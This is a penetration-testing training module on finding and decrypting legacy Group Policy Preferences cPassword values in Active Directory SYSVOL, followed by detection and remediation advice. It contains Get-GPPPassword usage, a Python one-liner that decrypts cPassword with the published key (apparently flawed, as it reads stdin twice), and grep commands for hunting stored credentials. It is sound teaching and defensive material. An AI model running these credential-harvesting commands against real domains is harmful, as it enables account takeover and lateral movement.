Module 5 · Group Policy Preferences — The Gift That Keeps Giving

Manish Garg
Manish Garg Associate of (ISC)² · RingSafe
Apr 22, 2026
4 min read
Read as

Last updated: April 29, 2026

cPassword in SYSVOL still found in 2026. MS14-025 didn’t remove legacy files. Plus SYSVOL credential hunting.

Group Policy Preferences (GPP) was introduced in Windows Server 2008 to let admins manage settings that weren’t covered by Group Policy Objects — local account creation, scheduled tasks, services, drive mappings, printer deployments. Admins could set passwords for these in the GPO, stored in SYSVOL. Until 2014, those passwords were encrypted with an AES key Microsoft published publicly. MS14-025 removed the ability to create new password-laden GPPs but didn’t remove existing ones. In 2026, GPP cPassword remnants still live in SYSVOL folders of many production domains.

Why this happens

The cPassword design was baffling in hindsight: Microsoft needed domain-member computers to decrypt local admin passwords from GPOs. They needed a shared secret. They chose a single AES-256 key, published in MSDN documentation. The key is the same on every Windows install. Literally public.

Any authenticated user can read SYSVOL. Find cPassword attribute in any GPP XML file. Decrypt with the public key. Game over for that account.

Exploitation — still working in 2026

# Search SYSVOL for GPP passwords (from any domain-joined machine)
Get-GPPPassword   # PowerView function

# Or manually
\\dc.corp.local\SYSVOL\corp.local\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml

# Example file content (abbreviated):
# 
#   
# 

# Decrypt using published key
# (Or use: Get-GPPPassword | format-list)
echo "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" | \
    python3 -c "import sys; from Crypto.Cipher import AES; from base64 import b64decode; \
    key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b'); \
    c = b64decode(sys.stdin.read().strip() + '==' if len(sys.stdin.read().strip())%4 else ''); \
    print(AES.new(key, AES.MODE_CBC, b'\\x00'*16).decrypt(c).decode('utf-16'))"
# Output: local admin password from 2008

Real engagement outcome: ~25% of domains audited in 2024-2025 still have GPP cPassword findings. Usually they’re for accounts named “Administrator” or “LocalAdmin” — often the same local admin password on every machine in the domain.

What else lives in SYSVOL

SYSVOL is readable by every domain user. Beyond cPassword:

  • Scheduled tasks with hardcoded credentials in XML
  • Login scripts containing credentials (“NET USE X: \\share /USER:admin password”)
  • MOF files with DSC configurations
  • MSI installers uploaded for deployment that contain embedded credentials
  • PowerShell scripts invoked by logon/startup with credentials
  • Configuration files for various automation tools
  • Intune / SCCM bootstrap scripts containing tokens
# Grep SYSVOL for credentials broadly
find /mnt/sysvol -type f -exec grep -l -i -E 'password|cpass|credential|token' {} \;

# PowerView's Get-GPPAutologon for autologon credentials in Registry.pol
Get-GPPAutologon

# Search for Base64-encoded blobs in scripts
grep -riE '[A-Za-z0-9+/=]{40,}' /mnt/sysvol/ | head

Why this keeps happening

  1. GPOs are rarely deleted. Old GPOs remain even if their policy scope is unlinked. The XML file stays in SYSVOL.
  2. No tooling to scan SYSVOL for credentials automatically. Most orgs don’t know about Get-GPPPassword.
  3. Admins move on. Original admin left in 2015; replacement doesn’t know the history.
  4. Fear of breaking things. “Don’t delete that GPO — something might still use it.”
  5. Audit coverage for SYSVOL is uncommon. DCs include SYSVOL but scanning it for sensitive data is not default.

MS14-025 patch impact

The patch:

  • Removed the GUI option to create new GPPs with passwords
  • Deprecated cPassword element
  • Did NOT remove existing GPPs from SYSVOL
  • Did NOT invalidate the published AES key (can’t — clients still need to decrypt legacy data)

Organizations that applied the patch but didn’t clean SYSVOL remained vulnerable. Official cleanup guidance exists but requires manual effort per GPO.

Related attack: unsecured PowerShell scripts

# Classic SYSVOL finding: legacy logon script with embedded credentials
# File: \\domain\SYSVOL\scripts\map_drives.ps1
$cred = New-Object System.Management.Automation.PSCredential(
    "corp\backup_svc",
    (ConvertTo-SecureString "SuperSecret123!" -AsPlainText -Force))
New-PSDrive -Name "BACKUP" -PSProvider FileSystem -Root "\\backup\share" -Credential $cred

# Attacker finds this via grep, has credentials for backup_svc
# backup_svc often has local admin on many servers (backup operations)
# Compromise of backup_svc = lateral movement across the fleet

Modern equivalent: Intune / Azure scripts

The same pattern appears in modern Intune device management scripts and Azure automation runbooks. Admins upload PowerShell scripts containing credentials. Sensitive material lives in accessible places.

Detection

  • Regular SYSVOL scan for cPassword patterns (automate via scheduled task on monitoring server)
  • Grep SYSVOL for patterns: password, credential, token, api_key, connectionString
  • Alert on LSASS reads of SYSVOL credential attributes
  • File-integrity monitoring on SYSVOL — detect new GPP files with passwords
  • Microsoft Defender for Identity: built-in detection for Group Policy Preferences password enumeration

Remediation

  1. Run Get-GPPPassword against all domains
  2. For every finding: decrypt password, rotate the account, remove the GPP XML file
  3. Grep SYSVOL for other credential patterns; rotate + remove
  4. Migrate to LAPS for local admin password management
  5. Migrate to gMSA for service accounts
  6. Use Azure Key Vault or HashiCorp Vault for automation credentials
  7. Audit every GPO that references credentials; retire or migrate

Mindset takeaway

SYSVOL is the easiest-to-check place in AD. Any domain user reads it. Twelve years after MS14-025, finding cPassword remnants is still routine. If your pentester finds one, your internal scanning missed something simple.

For defenders: scan SYSVOL quarterly. Same script every quarter. Fix what it finds. The scan is trivial; the findings shouldn’t exist. For pentesters: this is still in the first-hour toolkit. Get-GPPPassword is a reflex.

🧠
Check your understanding

Module Quiz · 10 questions

Pass with 80%+ to mark this module complete. Unlimited retries. Each question shows an explanation.

Want this for your team?

Custom team training + practitioner advisory

Beyond the free academy — we run private workshops, vCISO advisory, and red-team exercises tailored to your stack. For Indian SMBs scaling past their first hire.

Book team training call Replies in 4 working hrs · India-only · Senior consultants